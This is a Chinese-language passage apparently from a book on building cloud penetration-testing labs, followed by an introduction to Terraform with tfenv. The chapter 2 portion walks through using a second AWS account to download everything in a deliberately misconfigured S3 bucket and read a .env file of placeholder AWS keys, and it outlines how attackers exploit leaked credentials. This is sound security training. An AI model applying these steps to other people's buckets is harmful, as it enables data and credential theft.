使用带有--no-sign-request标志的aws s3 ls命令会禁用 AWS 请求签名的要求。默认情况下,AWS CLI 请求会使用 AWS 凭证进行签名,以确保身份验证和授权。然而,当使用--no-sign-request时,命令会跳过签名过程,允许未经身份验证和未签名的请求列出指定 S3 存储桶中的对象或文件。
-
使用
aws s3 ls命令列出 S3 存储桶的内容,这次不使用--no-sign-request标志:aws s3 ls s3://$S3_BUCKET这应该成功返回存储桶的内容(即
index.html文件以及backup文件夹)。 -
让我们检查一下能否从 S3 存储桶下载
index.html文件到 CloudShell 环境:aws s3 cp s3://$S3_BUCKET/index.html .这应该记录一条类似以下的消息:
download: s3://<S3 BUCKET>/index.html to ./index.html这意味着我们可以作为经过身份验证的用户列出和下载文件!
重要提示
请注意,这与我们用来创建存储桶的账户不同。当然,由于我们故意配置了 S3 存储桶以具有此行为,因此这不应令人惊讶。
-
接下来,让我们检查一下能否从 CloudShell 环境向 S3 存储桶上传一个示例文件:
touch test.txt aws s3 cp test.txt s3://$S3_BUCKET/test.txt这应该返回类似以下的消息:
upload failed: ./test.txt to s3://<S3 BUCKET>/test.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied这意味着我们无法作为认证用户向 S3 桶上传文件。
注意
请注意,攻击者也可以检查他们是否能够通过使用aws s3api get-bucket-acl和aws s3api put-bucket-acl命令来检索和设置桶的 ACL。有关此主题的更多信息,请随时查看bit.ly/3mbwlb5和bit.ly/3SAPq2o。
需要注意的是,我们故意配置了 S3 桶以允许认证用户只读访问,因为我们不希望其他认证用户向我们的 S3 桶上传文件。
下载并检查存储在 S3 桶中的文件
在上一节中,我们确认了可以使用aws s3 cp命令作为认证用户从 S3 桶下载文件。在本节中,我们将继续下载并检查存储在漏洞 S3 桶中的所有文件:
-
让我们先使用
mkdir命令创建downloaded目录:mkdir downloaded -
接下来,使用
cd命令进入downloaded目录:cd downloaded -
使用
aws s3 cp命令将目标 S3 桶中存储的所有文件下载到 CloudShell 本地目录:aws s3 cp --recursive s3://$S3_BUCKET .在这里,我们使用了
--recursive标志来递归下载存储在 S3 桶中的所有文件:![]()
图 2.30 – 执行 aws s3 cp 命令后生成的日志
在这里,我们使用不同的 AWS 账户从 S3 桶中下载存储的文件。吓人吧?
注意
这意味着任何拥有 AWS 账户的用户,假设包括未授权用户,都有可能访问并下载存储在 S3 桶中的文件。在这里,我们展示了使用一个不同且完全无关的 AWS 账户,只需几个命令就能下载配置错误的桶中的内容。
-
现在,让我们使用以下命令安装
tree命令:sudo yum install tree -y -
安装了
tree命令后,让我们使用它来生成当前目录的文件树:tree这应该生成并打印一个类似于图 2.31的文件树:
![]()
图 2.31 – 使用 tree 命令生成的文件树
使用没有参数/标志的
tree命令会递归列出所有文件,并给我们一个非常长的文件和目录列表。 -
现在,让我们运行以下命令来限制结果(树的深度)并显示隐藏文件:
tree -aL 4这应该返回一个类似于图 2.32的文件树:
![]()
图 2.32 – 运行 tree 命令后的结果
从图 2**.32中显示的树结果中,我们可以推断出正在使用的后端 Web 框架是
Hapi.js(hapi.dev/)。除此之外,dotenv** **npm软件包用于管理和加载环境变量。图 2**.23还显示,在/****backup/backend目录中存储了一个.env文件。
注意
为了避免在应用程序代码中硬编码秘密、变量和配置设置,开发团队可以利用dotenv等软件包从.env文件中加载凭据和环境变量。另外,开发和工程团队也可以使用 YAML 或 JSON 文件。开发人员常犯的一个常见错误是忘记在代码存储库中排除这些文件。这意味着任何能访问存储库(或存储库备份)的人都可以获得包含应用程序中使用的凭据和变量的文件的副本。
-
让我们运行以下命令查看
.****env文件中的内容:cat backup/backend/.env这将为我们提供
AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY的占位值,类似于我们在以下配置块中的内容:AWS_ACCESS_KEY_ID=XXXXXXXXXX AWS_SECRET_ACCESS_KEY=YYYYYYYYYY注意,在更现实的情况下,我们可能会在这里找到其他凭据和密钥。值得注意的是,凭据可能会在存储库的代码库中找到硬编码。
注意
一旦攻击者获得这些凭据,他们会做什么? 攻击者现在可以使用与这些凭据相关联的帐户执行恶意操作。例如,攻击者可能使用电子邮件服务(例如,SendGrid)的凭据发送钓鱼邮件来攻击其他个人或组织。在获取.env、YAML或JSON文件后,攻击者还可能能够访问数据库,因为这些文件很可能也包含数据库凭据。
到目前为止,我们应该对如何准备和测试一个相对简单的易受攻击的云资源有一个很好的想法。当然,生产环境很可能在同一账户中部署了其他资源。不用担心 - 随着我们在接下来的章节中进行实践示例的工作,我们将看到我们易受攻击的云环境的复杂性增长。
清理
清理我们创建或部署的云资源是处理易受攻击的云应用程序和环境时的关键步骤。如果我们不立即清理创建的资源,我们可能会发现我们的资源受到恶意用户的攻击。因此,让我们继续删除本章中创建的资源:
-
让我们开始使用我们用来创建 S3 存储桶的帐户登录到 AWS 管理控制台。请记住,我们有两个帐户 - “目标”AWS 帐户和“攻击者”AWS 帐户。我们将继续登录到“目标”AWS 帐户,因为我们使用该帐户创建了 S3 存储桶。
-
在搜索栏中输入
shell并从搜索结果中选择CloudShell,如图 2**.33所示:![]()
图 2.33 – 导航到 CloudShell 控制台
当您看到欢迎使用 AWS CloudShell的弹出窗口时,点击关闭按钮。
-
在我们的 CloudShell 环境的终端中(在
$符号后),运行以下 bash 命令:S3_BUCKET=<INSERT S3 BUCKET NAME>这里,我们正在设置
S3_BUCKET变量的值,该值为我们之前创建的 S3 存储桶的名称。确保将<INSERT S3 BUCKET NAME>的值替换为您自己的 S3 存储桶名称。 -
现在,让我们使用
aws s3 rb(删除存储桶)命令来删除该存储桶以及其中的所有对象:aws s3 rb s3://$S3_BUCKET --force这将生成一组日志,类似于图 2**.34中展示的内容:
![]()
图 2.34 – 执行 aws s3 rb 命令后生成的日志
我们执行的命令将删除存储桶中的所有对象,然后在存储桶为空时删除该 S3 存储桶。
注意
请注意,在生产环境中使用aws s3 rb命令时需要小心,因为在禁用对象版本控制的情况下,我们将丢失存储桶中的所有文件。在运行此命令之前,必须先备份存储桶中的文件。欲了解更多详情,请访问以下链接:docs.aws.amazon.com/AmazonS3/latest/userguide/delete-bucket.html。
就是这样!由于我们只处理相对简单的设置,因此清理过程预计会很简单。
总结
在本章中,我们设计并准备了第一个故意存在漏洞的云实验室环境。我们首先通过 AWS 管理控制台创建了一个空的 S3 存储桶。之后,我们配置了该存储桶用于静态网站托管。我们还修改了 S3 存储桶的访问控制设置,允许其他经过身份验证的 AWS 用户列出并检索我们存储桶中的对象。为了完成设置,我们将示例文件上传到 S3 存储桶中。
我们通过一系列步骤测试了我们的设置,包括一些终端命令,检查并验证了 S3 存储桶的安全配置。在确认可以使用第二个 AWS 帐户(未用于创建存储桶)从 S3 存储桶下载文件后,我们继续下载并检查了存储桶中所有的文件。最后,我们通过清理并删除本章中创建的资源来结束操作。
在下一章中,我们将重点介绍如何使用基础设施即代码(IaC)工具和策略,帮助我们在云中构建和管理复杂的易受攻击的实验室环境。如果您在想我们是否可以自动化本章中执行的步骤,那么下一章将为您解答!
深入阅读
若想了解本章涉及的更多信息,可以查看以下资源:
-
IAM 策略和存储桶策略以及 ACL (
aws.amazon.com/blogs/security/iam-policies-and-bucket-policies-and-acls-oh-my-controlling-access-to-s3-resources/) -
S3 - 使用 ACL 管理访问权限 (
docs.aws.amazon.com/AmazonS3/latest/userguide/acls.html) -
提醒:亚马逊 S3 安全性变更将于 2023 年 4 月 到来 (
aws.amazon.com/blogs/aws/heads-up-amazon-s3-security-changes-are-coming-in-april-of-2023/) -
控制对象所有权并禁用存储桶的 ACL (
docs.aws.amazon.com/AmazonS3/latest/userguide/about-object-ownership.html) -
新 S3 存储桶的默认设置 常见问题 (
docs.aws.amazon.com/AmazonS3/latest/userguide/create-bucket-faq.html)
第三章:成功使用基础设施即代码工具和策略
在上一章中,我们使用 AWS 管理控制台 手动创建了第一个易受攻击的实验环境。整个设置过程大约花了我们一个半小时。完成实验环境设置后,我们可能又花了 30 分钟来测试是否一切(误)配置正确。如果我们希望为一个安全培训课程设置 10 个与第二章中相似的实验环境怎么办?我们真的需要大约 20 小时才能完成这些设置吗?此外,请记住,我们只完成了整个云渗透测试实验环境的一个小部分!完整的实验环境一般比我们在第二章中准备的要多出 5 到 10 倍的资源。假设完整环境至少是我们最初准备的五倍大,并且考虑到每次都需要创建和删除整个环境以管理成本,那么是否手动设置这些实验环境(通常每个大约需要 10 小时)真的必要呢?话虽如此,是否有更好的方法来创建和管理我们的渗透测试实验环境的云基础设施资源?
本章将通过深入分析 基础设施即代码(IaC)如何解决这些挑战和需求,来回答这些问题!因此,我们将涵盖以下主题:
-
深入探讨 IaC 工具和策略
-
在 AWS CloudShell 中设置 Terraform
-
使用 Terraform 起步
-
理解 Terraform 配置语言
-
使用 Terraform 构建我们的易受攻击的实验环境
-
配置带有状态锁定的 Terraform 后端
-
验证状态锁定设置
本章的实践解决方案将为你提供将现有云基础设施资源转换为 IaC 配置文件所需的技能和信心。通过这些配置文件,我们应该能够使用自动化工具和服务在几分钟内快速设置多个渗透测试实验环境!
技术要求
在开始之前,我们必须准备以下内容:
-
必需:在第二章中使用的“目标”AWS 账户,将包含易受攻击的环境和资源
-
可选:第二个 AWS 账户(同样在第二章中使用),将作为“攻击者的账户”
如果你跳过了第二章,准备我们的第一个易受攻击的云实验环境,可以通过以下链接创建 AWS 账户:aws.amazon.com/free/。账户创建好后,便可继续进行后续步骤。
注意
本章主要关注使用 Terraform 在 AWS 上构建一个示例易受攻击的实验室环境。当然,一旦进入本书后续章节的动手部分(第四章及之后章节),我们需要准备好Microsoft Azure和Google Cloud Platform(GCP)账户。与此同时,当前设置两个 AWS 账户应该足够了。
本书每章使用的源代码和其他文件可以在本书的 GitHub 仓库中找到:
github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud
深入探索 IaC 工具和策略
在我们深入本章的实际练习之前,我们将首先在本节中明确理解 IaC,并讨论如何利用它来构建复杂的渗透测试实验室。
揭开 IaC 的神秘面纱
IaC 是通过代码来配置和管理基础设施资源的实践和过程。这些代码的工作原理类似于房屋蓝图在建造实际房屋时的参考作用。处理 IaC 代码的酷炫之处在于,实际的基础设施资源是根据表示所需最终状态的代码自动创建和配置的。在后台,IaC 自动化工具实际上只是使用我们在尝试自动化特定流程时会使用的相同 API 集。这个过程在下图中进行了说明:

图 3.1 – 使用 IaC 工具和服务创建和管理云资源
在图 3.1中,我们可以看到相同的配置文件集(表示所需的状态)可以用于生成和配置多个具有相同资源和属性的环境。例如,我们可以在配置和确保开发、预生产和生产环境的一致性时使用 IaC 配置文件,这些环境供开发人员和工程师使用。
此时,你可能会好奇配置文件是如何用来生成实际的云基础设施资源的。让我们从定义单个资源的配置文件开始。这个配置文件随后作为输入传递给 IaC 工具,IaC 工具根据指定的代码(命令式方法)执行,或者通过“魔法”将配置代码转换为实际的基础设施资源(声明式方法)。
以下图表展示了 IaC 工具和服务如何管理变更:

图 3.2 – IaC 工具和服务如何管理变更
假设我们使用声明性方法来配置初始的云资源集,我们能否修改配置代码并再次使用 IaC 工具来更新现有的基础设施资源集? 正如我们在图 3.2中所看到的那样,某些 IaC 工具可以自动管理这些更改,并生成一个执行计划,该计划会修改基础设施,使其达到 IaC 配置模板中指定的期望状态。这些更改随后会应用于现有的基础设施资源。
注意
需要注意的是,IaC 工具可能会(1)在基础设施中执行就地修改,或者(2)替换整个基础设施资源。这取决于所使用的 IaC 工具以及所进行的更改类型。在处理部署在渗透测试实验室环境中的资源时,我们通常希望替换整个资源,因为旧的基础设施资源可能由于先前的利用尝试和活动已经处于不稳定或配置错误的状态。
利用 IaC 进行渗透测试实验室管理
现在,让我们来讨论为什么 IaC 与云端渗透测试实验室的准备和管理相得益彰。创建和管理云端专用渗透测试实验室环境可能是复杂且耗时的。使用 IaC 可以简化这一过程,并带来许多好处。
以下是使用 IaC 构建云端渗透测试实验室的一些优势:
-
更快的部署:由于配置代码包含了要创建的资源的属性和期望状态,我们可以通过自动化流程在几秒钟内(最多几分钟)快速创建和销毁各种实验室资源。这帮助我们在渗透测试实验室活动或实验后,轻松地重建需要“刷新”的特定云基础设施资源(因为这些活动可能会故意或无意中将某些服务或资源置于不稳定或配置错误的状态)。
-
协作:我们可以轻松地与其他工程师共享实验室环境的配置和设置代码。这使得在排查部署在渗透测试实验室环境中的资源的安全配置时,可以更轻松地进行协作和讨论(也就是说,无需分享整个云账户)。
-
一致性:如果从单个 IaC 配置代码实例设置了多个易受攻击的实验室环境,我们只需修改 IaC 代码一次,并将更改自动应用于这些实验室环境。我们可以保证基础设施管理过程的重复性,并确保每次构建渗透测试实验室环境时,资源配置和版本保持一致。需要注意的是,某些漏洞和错误配置的可利用性取决于所使用的应用程序和资源的版本。
-
透明性:由于我们可以使用表示基础设施的代码检查当前配置,审计基础设施配置错误变得更加容易。
-
优化:基础设施成本管理变得更加容易,因为我们可以在没有人使用渗透测试实验室环境时关闭(或删除)云资源。一旦需要创建资源,从现有的基础设施配置代码准备资源只需几分钟。
如我们所见,IaC 通过自动化过程实现更快速的实验室资源部署,允许在几秒钟到几分钟内快速创建和销毁资源。协作变得更加简单,因为工程师可以轻松地以代码形式共享实验室环境配置和设置,从而促进了安全设置的故障排除,而无需共享整个云账户。此外,IaC 通过修改代码一次并自动将更改应用于多个实验室环境,确保一致性,保证了重复性,并保持一致的资源配置和版本。
牢记这些要点后,我们可以继续讨论在使用 IaC 解决方案时的最佳实践和策略。
接纳 IaC 最佳实践和策略
过去几年里,开发人员和工程师使用了多种 IaC 工具来创建和管理基础设施。其中一些最流行的工具包括Chef、Puppet、Vagrant、(R)?ex、SaltStack、Pulumi、Ansible、AWS Cloud Development Kit(AWS CDK)、AWS CloudFormation、GCP Deployment Manager和Azure Resource Manager。其中一些工具(如 AWS CDK、AWS CloudFormation、GCP Deployment Manager 和 Azure Resource Manager)是为特定云提供商自动化资源的创建、配置和管理而构建的。其余的则是云中立的——即这些工具应该能跨多个云平台(如AWS、Microsoft Azure和GCP)工作。在这个列表中,某些工具(如 Ansible、Chef 和 Puppet)主要集中在设置应用程序和配置虚拟机内部的内容,而其他工具(如 Terraform)主要专注于从代码中部署和提供云基础设施资源。
注意事项
我们可以在部署、配置和管理基础设施时同时使用多个工具。例如,我们可以将 Terraform 与 Ansible 结合使用,自动化部署云基础设施资源以及运行在虚拟机中的应用程序。
在我们进入下一部分之前,让我们讨论一下使用 IaC 工具和服务时可以采取的一些策略:
-
我们可以使用版本控制系统(例如 Git)来跟踪和管理用于管理和部署渗透测试实验室环境的 IaC 配置代码的变化。除此之外,我们还可以通过持续集成/持续部署(CI/CD)管道,在代码更改推送到代码仓库后,自动部署 IaC 文件中指定的资源。
-
我们可以通过将代码正确地拆分为多个文件,轻松模块化并管理实验室环境中使用的不同资源组。一旦渗透测试实验室的组件被模块化,我们就可以轻松地使用现有模块生成不同变种的漏洞实验环境。
-
成本在渗透测试实验室环境设计中起着重要作用。基础设施即代码(IaC)允许环境或云账户的拥有者在需要时再启用(或根本没有)云资源。为什么? 因为 IaC 工具使得从配置文件(通常是几秒钟或几分钟内)创建和恢复资源变得非常简单。当我们在云中设计和构建渗透测试实验室环境时,我们还可以选择是否允许多个用户共享同一个环境,或者让每个用户拥有自己的专用环境(这可能会更昂贵)。使用 IaC 时,我们可以轻松地让第二个选项在成本上更具可行性,因为我们只需在用户需要时根据模板创建并配置基础设施。第一个选项的缺点是什么? 由于实验室由多个用户共享,某些用户在渗透测试过程中可能会遇到意外问题,因为涉及的资源可能已经由于其他用户的某个操作(或多个操作)而配置错误。如果其中一个用户决定刷新或重置系统,那么另一个用户的任何正在进行的工作也会被重置。
到此为止,我们应该已经对 IaC 的概念和如何利用它有效管理渗透测试实验室环境有了充分的理解。在下一部分中,我们将首次介绍全球专业人士广泛使用的最流行的 IaC 工具之一。
在 AWS CloudShell 中设置 Terraform
在本章中,我们将重点介绍如何使用Terraform来配置和管理我们的云基础设施。Terraform 是一个由HashiCorp创建的开源基础设施即代码(IaC)工具。目前,它是最强大且最常用的 IaC 工具之一。它使用户能够使用高级配置语言来定义和配置基础设施资源。通过采用简单、声明性和直观的语法,这个 IaC 工具简化了创建、更新和版本控制基础设施的过程,为自动化基础设施管理提供了强大的方法。
下面是 Terraform 代码的一个示例:
resource "google_compute_firewall" "allow-ssh-from-my-ip" { name = "allow-ssh-from-my-ip"
network = local.net_02
allow {
protocol = "tcp"
ports = ["22"]
}source_ranges = ["${var.my_ip}/32"]
}
在这里,我们只是定义了一个防火墙规则(在 GCP 中),它将允许我们从本地机器通过端口22发起 SSH 连接到指定的虚拟私有云(VPC)网络中的资源。
注意
如果目前示例中的 Terraform 代码看起来不完全理解,也不用担心!在本书的后续章节中,我们将深入探讨如何使用 Terraform 管理云平台(如 AWS、Azure 和 GCP)上的渗透测试实验室环境资源。我们将探讨这些云提供商的概念、语法和实际示例,帮助我们更清楚地理解 Terraform 在实际场景中的应用。
如我们在提供的示例代码中看到的,构建易受攻击云基础设施的 Terraform 代码是声明式的,并且具有自文档化功能。我们无需关注这些基础设施资源是如何准备的,而只需要指定期望的状态,Terraform 会处理细节,将当前状态转换为期望状态。其他工具则采用命令式方法进行自动化,工程师需要定义一系列命令来达到期望状态。命令式方法的优势在于可以精细控制命令和操作执行的顺序,以达到期望状态。这在需要特定脚本或程序逻辑的复杂场景中非常有用。这与声明式方法形成对比,声明式方法只需指定基础设施的期望状态是什么样的。我们将在本书中尽可能使用声明式方法。如果你刚刚开始接触基础设施即代码(IaC)和自动化的概念,使用 Terraform 中的声明式方法可以提供一种更直观、更简洁的方式来理解和管理基础设施资源。也就是说,声明式方法提供了一个清晰简明的期望状态表示,使学习和使用变得更加容易。
注意
请注意,使用CDK for Terraform(CDKTF)时,可以采用命令式方法来使用 Terraform。有关 CDKTF 的更多信息,请随时访问以下链接:developer.hashicorp.com/terraform/cdktf。
当然,在使用 Terraform 之前,我们必须确保它已经在我们的环境中正确安装和配置!有多种方式可以安装 Terraform,其中一种方式是使用tfenv(Terraform 版本管理器)来帮助我们轻松管理和使用不同版本的 Terraform。
在接下来的步骤中,我们将使用 Terraform 版本管理器在 AWS CloudShell 环境中设置和安装 Terraform:
- 打开一个新的浏览器标签页,然后导航到 AWS 控制台。在搜索框中输入
shell,然后从搜索结果中选择CloudShell。或者,你也可以直接在 AWS 管理控制台的左上角找到并点击CloudShell按钮(靠近区域选择下拉菜单)。
注意
等待约一到两分钟,直到 AWS CloudShell 环境准备就绪。考虑到 CloudShell 环境每个 AWS 区域提供最大 1 GB 的磁盘空间,因此有必要定期使用df -h(磁盘可用空间)和du -sh(磁盘使用量)等命令监控磁盘使用情况。这些命令可以提供磁盘空间使用的详细信息,帮助我们判断是否接近 1 GB 的限制。通过积极监控磁盘空间,我们可以避免 CloudShell 环境中出现存储限制。欲了解更多信息,请访问以下链接:docs.aws.amazon.com/cloudshell/latest/userguide/limits.html。
-
在 AWS CloudShell 终端(在
$符号后)运行以下git clone命令,将tfutils/tfenv仓库克隆到我们的 CloudShell 环境中:git clone `https://github.com/tfutils/tfenv.git` ~/.tfenv -
使用
mkdir命令创建一个bin目录(位于用户主目录下):mkdir ~/bin -
使用
ls命令列出存储在~/.tfenv/bin/中的文件:ls -hF ~/.tfenv/bin/这应该会产生类似以下的结果列表:
terraform* tfenv* -
接下来,我们使用
ln -s命令为存储在~/.tfenv/bin/中的可执行文件创建一个软符号链接:ln -s ~/.tfenv/bin/* ~/bin/
什么是软符号链接?
软符号链接,也称为symlinks,是文件系统中的特殊文件,充当指向其他文件或目录的指针。它们通过路径引用目标,实际上创建了一个指向目标文件或目录的快捷方式。
-
使用
readlink命令验证之前的命令是否按预期工作:readlink -f ~/bin/*这应该会产生以下输出:
/home/cloudshell-user/.tfenv/bin/terraform /home/cloudshell-user/.tfenv/bin/tfenv在这里,我们使用
readlink命令通过解析符号链接并提供每个文件的绝对路径,获取~/bin目录中文件的完整路径。
注意
由于~/bin已经添加到$PATH中,因此在执行前一步中的ln -s命令后,我们应该能够使用terraform和tfenv。
-
我们使用
tfenv install命令安装特定版本(1.3.9)的 Terraform:tfenv install 1.3.9通过运行
tfenv install 1.3.9,我们指示tfenv在我们的系统上下载并安装 Terraform 版本1.3.9。这个特定版本将会安装在一个单独的目录中,确保它与其他已安装的 Terraform 版本隔离开来。 -
接下来,让我们使用
tfenv use命令切换并使用 Terraform 版本1.3.9:tfenv use 1.3.9当我们运行这个命令时,
tfenv将会配置我们的系统,在当前 shell 会话或目录中使用 Terraform 版本1.3.9来执行随后的任何 Terraform 命令。这使我们能够使用特定版本的功能和特性。 -
最后,让我们使用以下命令检查 Terraform 是否已成功安装:
terraform --version这应该会生成以下输出:
Terraform v1.3.9 on linux_amd64这确认了已经安装了 Terraform 版本
1.3.9,并且可以开始使用!
重要提示
到你阅读这本书时,可能会有更新版本的 Terraform 可用。然而,仍然建议使用本章中使用的版本,以避免在运行实际操作的解决方案和示例时遇到问题。如果需要,你可以使用 tfenv 命令进行“时间旅行”,切换到旧版本的 Terraform。这将确保本章中的所有示例继续正常工作。如果有更新版本的 Terraform 可用,你也可以使用 tfenv 命令安装并切换到该版本。这种灵活性使你能够跟上最新的功能和改进。然而,值得注意的是,使用书中指定的版本可以确保一致性,避免潜在的兼容性问题。
在我们的 AWS CloudShell 环境中设置好 Terraform 后,让我们继续进入下一节!
初探 Terraform
在这一节中,我们将简要概述基本的 Terraform 工作流,然后进行一个 “Hello World” 示例,来测试我们的设置。
了解核心的 Terraform 工作流
对大多数人来说,学习一个新工具、平台或框架可能需要大约 2 到 4 周的时间。然而,学习 Terraform 可能只需要几个小时(最多几天),因为它的使用非常直接且简单。在使用 Terraform 时,工程师通常遵循一个类似于我们在 图 3.3 中看到的流程:

图 3.3 – 使用 Terraform 创建和更新资源时的常见工作流
一旦我们准备好了配置文件(或多个文件),我们只需运行 terraform init 来初始化 Terraform 环境。terraform init 命令通常在我们的环境尚未初始化时,或者需要下载额外的文件或插件时执行。接下来的步骤是使用 terraform plan 来处理配置代码并生成执行计划供我们审核。请注意,运行 terraform plan 命令不是必需的,但 推荐 执行。最后,我们可以使用 terraform apply 来实施执行计划中描述的更改。
注意
运行 terraform init 和 terraform plan 通常是 安全 的命令,因为(1)它们涉及 幂等 操作,(2)它们不会创建或修改任何基础设施资源。在这种情况下,幂等意味着多次执行这些命令将会有 相同 的结果,而不会产生意外的副作用。这使得它们非常适合用于安全地初始化和规划基础设施配置。
我们还可以使用其他命令来帮助我们执行特定任务(例如,terraform show),但除了这三个主要命令外,另一个我们需要了解的命令是 terraform destroy。运行此命令将删除通过 Terraform 创建和管理的资源。
使用 Hello World 示例测试我们的 Terraform 设置
现在我们已经对如何使用 Terraform 有了基本了解,接下来我们来做一个非常简单的 Terraform 示例,如下所示:
-
使用
mkdir命令创建一个hello_terraform目录。然后使用cd命令进入创建的目录:mkdir hello_terraform cd hello_terraform -
使用
touch命令创建一个空的main.tf文件:touch main.tf -
运行以下命令使用 Vim 打开空的
main.tf文件:vim main.tf学习如何使用命令行文本编辑器,如 Vim,起初可能会有些令人畏惧。然而,一旦你熟悉了它,你会发现 Vim 相对容易使用且富有乐趣!
注意
你可以输入 :set nu 然后按下 Enter 键来显示行号。
- 接下来,按 i 切换到 插入模式,这样我们就可以编辑文件了。
注意
Vim 中的 插入模式 允许我们像在常规文本编辑器中一样输入和修改文本。在这个模式下,我们可以自由地添加、删除或修改字符,而不会影响周围的文本。
-
将以下代码块输入或粘贴到我们的
main.tf文件中:resource "null_resource" "hello" { provisioner "local-exec" { command = "touch hello.txt" } }在这里,我们声明了一个
null_resource资源,它对于不涉及资源创建的操作和任务非常有用。在这个案例中,我们用它来运行一个脚本或命令。 -
按下 Esc 键切换到 正常模式。输入
:wq!,然后按 Enter。这将保存对main.tf所做的更改,并退出 Vim。
注意
之前,我们描述了 Vim 中插入模式的工作原理。现在,让我们简要谈谈普通模式。普通模式允许我们在文本中导航、执行命令并对文件执行各种操作。在此模式下,可以使用特定的按键组合(如:wq!)来移动光标、搜索文本、复制和粘贴,并执行编辑操作,如删除、替换和撤销更改。例如,“w”表示写入命令(用于保存文件的更改),而“q”表示退出命令(用于退出编辑器)。感叹号(!)有什么用?“!”仅仅是一个可选修饰符,它强制命令执行,即使存在未保存的更改或其他警告。
-
现在我们的
main.tf文件已经准备好,让我们使用terraform init命令来初始化 Terraform 工作目录:terraform init -
为了更好地了解
terraform init为我们初始化并设置了什么,让我们使用以下命令安装tree工具:sudo yum install tree -y安装了
tree工具后,让我们使用tree命令帮助我们检查并可视化当前目录中的目录和文件:tree -a这应该生成一棵树,类似于我们在图 3.4中看到的内容:
![]()
图 3.4 – 运行 tree 命令后的结果
在这里,我们可以看到在运行
terraform init后,突然出现了一个.terraform目录,并且包含一个目录和文件的树状结构。 -
接下来,让我们运行
terraform plan,以预览 Terraform 将执行的更改:terraform plan这应该生成一组日志,类似于我们在下面的日志信息块中看到的内容:
Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.hello will be created + resource "null_resource" "hello" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy.在这里,我们有一个执行计划,它指示了在稍后的步骤中运行
terraform apply命令后,将创建(1)、修改(0)或销毁(0)哪些资源。
注意
Terraform 的执行计划就像是一个蓝图,概述了它将执行的步骤和操作,以实现所需的基础设施状态(如 Terraform 配置代码中所定义的)。它类似于 SQL EXPLAIN 命令提供的详细分解,说明数据库管理系统如何执行特定查询。也就是说,考虑到 Terraform 通过其声明式语法抽象了幕后发生的事情,执行计划作为预览即将对基础设施进行的更改的有价值机制。
-
一切准备就绪后,让我们使用
terraform apply命令来实现通过运行terraform plan返回的执行计划中指定的更改:terraform apply这应该生成一组日志,类似于我们在图 3.5中看到的内容:
![]()
图 3.5 – 运行 terraform apply 命令后的验证步骤
在验证步骤中(即,当您看到
Enter a value:提示时),输入yes以继续创建hello.txt文件。按下Enter键后,我们应该看到以下一组日志:null_resource.hello: Creating...null_resource.hello: Provisioning with 'local-exec'... null_resource.hello (local-exec): Executing: ["/bin/sh" "-c" "touch hello.txt"] null_resource.hello: Creation complete after 0s [id=2409621687302957875]在这里,我们可以看到我们的
terraform apply命令已成功执行!
提示
运行 terraform apply 命令应执行 touch hello.txt 并创建一个空的 hello.txt 文件。
-
在庆祝之前,让我们使用
ls命令检查我们的hello.txt文件是否已经创建:ls这应该产生以下输出:
hello.txt main.tf terraform.tfstate -
现在,让我们使用
cat命令检查terraform.tfstate文件:cat terraform.tfstate这应该给我们一个类似于下面代码块的嵌套 JSON 结构:
{ "version": 4, "terraform_version": "1.3.9", "serial": 1, "lineage": "6e0599fb-00c6-e724-2dd1-e600ea7726a0", "outputs": {}, "resources": [ { "mode": "managed", "type": "null_resource", "name": "hello", ... } ], "check_results": null }在这里,我们已经确认 Terraform 将表示当前基础设施资源集(由 Terraform 管理)的信息存储在
terraform.tfstate文件中。
重要提示
Terraform 使用 terraform.tfstate 文件来跟踪基础设施的当前状态。该文件存储关键信息,例如资源 ID、依赖关系和元数据。在创建或修改基础设施资源之前,Terraform 会使用此文件进行差异检查。确保不要编辑或删除工作目录中的 terraform.tfstate 文件,因为这可能导致不一致和潜在的错误。万一你不小心删除了 terraform.tfstate 文件,不必惊慌,因为有多种方法可以从这种情况中恢复!此外,我们还可以使用 远程状态后端 来安全地存储状态文件,并使协作和灾难恢复更容易。我们将在本章的 配置具有状态锁定的 Terraform 后端 部分详细讨论这个内容。
-
使用
cd命令导航到用户的主目录:cd .. -
最后,让我们使用
rm -rf命令删除hello_terraform目录(及其内部的所有内容):rm -rf hello_terraform这将帮助释放一些空间,因为我们在 CloudShell 环境中总共有 1 GB 的存储空间(每个 AWS 区域)。请注意,建议在执行这些删除或清理步骤之前,先在
hello_terraform目录中运行terraform destroy(因为我们可能会不小心删除状态文件)。鉴于我们创建的唯一“基础设施资源”是一个.txt文件,因此不需要运行terraform destroy。
重要提示
如果您需要一个专门的环境来创建和管理基础设施资源中使用 Terraform,您可以探索AWS Cloud9并设置开发环境。与 CloudShell(目前每个 AWS 地区仅为 1 GB)相比,这种环境提供更多的磁盘空间。此外,Cloud9 允许您使用代码编辑器编写和修改代码,提供了增强的灵活性和便利性。需要注意的是,虽然 AWS CloudShell 是 AWS 提供的免费服务,但 AWS Cloud9 可能会根据您的使用情况产生额外费用。虽然 CloudShell 提供了仅限于 1 GB 的有限磁盘空间,并且不收取额外费用。另一方面,AWS Cloud9 可能根据环境选择的使用情况和实例类型而产生相关费用。在选择 AWS Cloud9 之前,建议查看定价详细信息,并确保其符合您的要求和预算。
这不是很简单吗? 当学习 Terraform(或任何其他新工具)时,建议从类似于本节中我们所使用的简单和小型示例开始。在下一节中,我们将在这个简单示例的基础上继续工作,并处理一个相对较长的 Terraform 配置文件。
理解 Terraform 配置语言
在本节中,我们将深入探讨 Terraform 配置语言的核心方面,然后继续使用相对简单的配置代码,为我们提供管理 Terraform 的 IaC 所需的基础知识。
揭秘常用的 Terraform 配置块
理解如何编写和解释 Terraform 配置代码对于有效的基础设施管理至关重要。这些知识使我们能够自定义和修改使用 Terraform 创建和管理的现有基础设施资源。它还使我们能够在使用 IaC 工具时更有效地解决问题和节省时间。
那么,我们从哪里开始呢? 首先,简单和复杂的 Terraform 配置代码通常使用相同的元素和构建模块。这个共同的基础使我们能够通过从简单配置开始逐步向更复杂的场景发展来逐步建立我们的理解。通过掌握基本元素,我们可以自信地导航和解释简单和复杂的 Terraform 配置代码,从而有效地解决各种基础设施管理挑战。
在我们进行下一个实际操作示例之前,让我们快速查看一下在 Terraform 配置文件中通常会看到的一些元素:
-
资源 — 这些是用来定义如何配置和配置基础设施资源的代码块。这些块具有以下结构:
